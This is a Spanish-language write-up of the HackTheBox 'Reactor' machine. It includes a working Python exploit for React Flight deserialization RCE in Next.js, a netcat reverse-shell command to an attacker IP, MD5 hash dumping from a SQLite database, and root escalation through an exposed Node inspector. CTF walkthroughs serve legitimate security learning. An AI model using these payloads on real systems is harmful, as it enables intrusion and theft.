Post

Reactor — HackTheBox Season 11

Reactor — HackTheBox Season 11

Comencé el análisis de esta máquina realizando un escaneo de puertos TCP con nmap:

1
sudo nmap -p- -vvv --min-rate 10000 10.129.1.31

El escaneo revela dos puertos abiertos:

  • 22/tcp — SSH
  • 3000/tcp — Aplicación Web

Escaneo inicial de nmap

Lanzamos un escaneo más exhaustivo para identificar versiones y fingerprinting de los servicios:

1
nmap -sV -sC -p22,3000 10.129.1.31

Escaneo de versiones nmap

Descubrimientos clave:

  • El servicio SSH corre sobre un entorno Ubuntu.
  • El servicio web está desarrollado con el framework Next.js.

Dado que el objetivo utiliza enrutamiento interno por nombre de host, lo añadimos a nuestra resolución DNS local:

1
echo "10.129.11.29 reactor.htb" | sudo tee -a /etc/hosts

Fase 2: Enumeración Web

Al acceder a la aplicación desde el navegador, observamos un panel de monitorización industrial estático llamado: ReactorWatch Core Monitoring System.

La superficie de ataque visible es intencionalmente mínima:

  • Sin formularios de autenticación.
  • Sin funcionalidad de búsqueda.
  • Sin endpoints de API expuestos a simple vista.
  • Sin parámetros controlados por el usuario.

En aplicaciones Next.js modernas, a menudo se expone metadata de compilación bajo el directorio /_next/. Inspeccionar el manifiesto de compilación puede revelar rutas ocultas y el comportamiento interno del framework.

Manifiesto de compilación Next.js

Esto nos indica que la aplicación probablemente utiliza la arquitectura App Router en lugar del tradicional Pages Router.

Fase 3: Foothold — RCE por React Flight en Next.js

Investigando vulnerabilidades recientes en Next.js, encontramos un fallo crítico que afecta la deserialización de React Flight. La vulnerabilidad abusa de cómo el framework procesa payloads multiparte (multipart) especialmente manipulados. Al alterar las propiedades de objetos internos (explotación orientada a Prototype Pollution), se puede influir en el flujo de ejecución del lado del servidor y lograr la ejecución arbitraria de comandos (RCE).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─────────────┐
│  Atacante   │
└──────┬──────┘
       │ Payload manipulado (React Flight)
       ▼
┌─────────────┐
│ App Next.js │
└──────┬──────┘
       │ Prototype Pollution / Deserialización
       ▼
┌─────────────┐
│ Entorno JS  │
└──────┬──────┘
       │ execSync()
       ▼
┌─────────────┐
│Reverse Shell│
└─────────────┘

Explotación

Primero, preparamos un listener en nuestra máquina de ataque:

Listener Netcat

El siguiente script en Python abusa del procesamiento de React Flight para forzar la ejecución de JavaScript dentro del entorno Node.js, enviándonos una reverse shell.

exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests, sys, json

BASE_URL = sys.argv[1]
EXECUTABLE = sys.argv[2]

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',timeout).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), `}});",
        "_formData": {"get": "$1:constructor:constructor"},
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"')
}

headers = {"Next-Action": "x"}

requests.post(BASE_URL, files=files, headers=headers)

Detonando el RCE

Ejecutamos el script pasando la URL objetivo y el payload malicioso (usando busybox nc para evadir restricciones de netcat clásico si las hubiera):

1
python3 exploit.py http://10.129.11.29:3000 "busybox nc 10.10.14.101 4444 -e /bin/sh"

Reverse Shell obtenida

Fase 4: Post-Explotación y Movimiento Lateral

Con acceso de shell bajo el usuario node, la prioridad pasa a ser la enumeración local del sistema de archivos. Explorando el directorio de la aplicación, identificamos una base de datos SQLite:

1
2
/opt/reactor-app/reactor.db
sqlite3 /opt/reactor-app/reactor.db "SELECT * FROM users;"
1
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

El output revela hashes de contraseñas de múltiples usuarios, incluyendo al usuario engineer. El formato de los hashes es MD5, lo cual hace que su ruptura offline sea trivial utilizando herramientas como John the Ripper, Hashcat o directamente contrastándolos en bases de datos rainbow (como CrackStation).

Una vez rota la contraseña de engineer, procedemos a pivotar / realizar el movimiento lateral mediante SSH para estabilizar nuestro acceso:

1
ssh engineer@10.129.11.29

Acceso SSH como engineer

Fase 5: Escalada de Privilegios — Node Inspector Expuesto

La enumeración de procesos revela rápidamente algo inusual en el sistema:

1
ps aux | grep node

Procesos de Node

1
/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Node Inspector activo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──────────────┐
│ Usr engineer │
└──────┬───────┘
       │ Conectar depurador
       ▼
┌──────────────┐
│Node Inspector│
└──────┬───────┘
       │ Ejecutar JS
       ▼
┌──────────────┐
│ Proceso Root │
└──────┬───────┘
       │ execSync()
       ▼
┌──────────────┐
│ Acceso Root  │
└──────────────┘

Conexión al Depurador

Nos conectamos a la sesión de depuración expuesta en el puerto local:

1
node inspect 127.0.0.1:9229

Conexión al depurador

1
exec("process.getuid()")

UID del proceso

Esto confirma que el proceso se está ejecutando como root (UID 0).

Extracción de la Flag de Root

Finalmente, aprovechamos la ejecución de código para leer el contenido de la flag de root:

1
exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")

Flag de root

¡Máquina rooteada exitosamente!

This post is licensed under CC BY 4.0 by the author.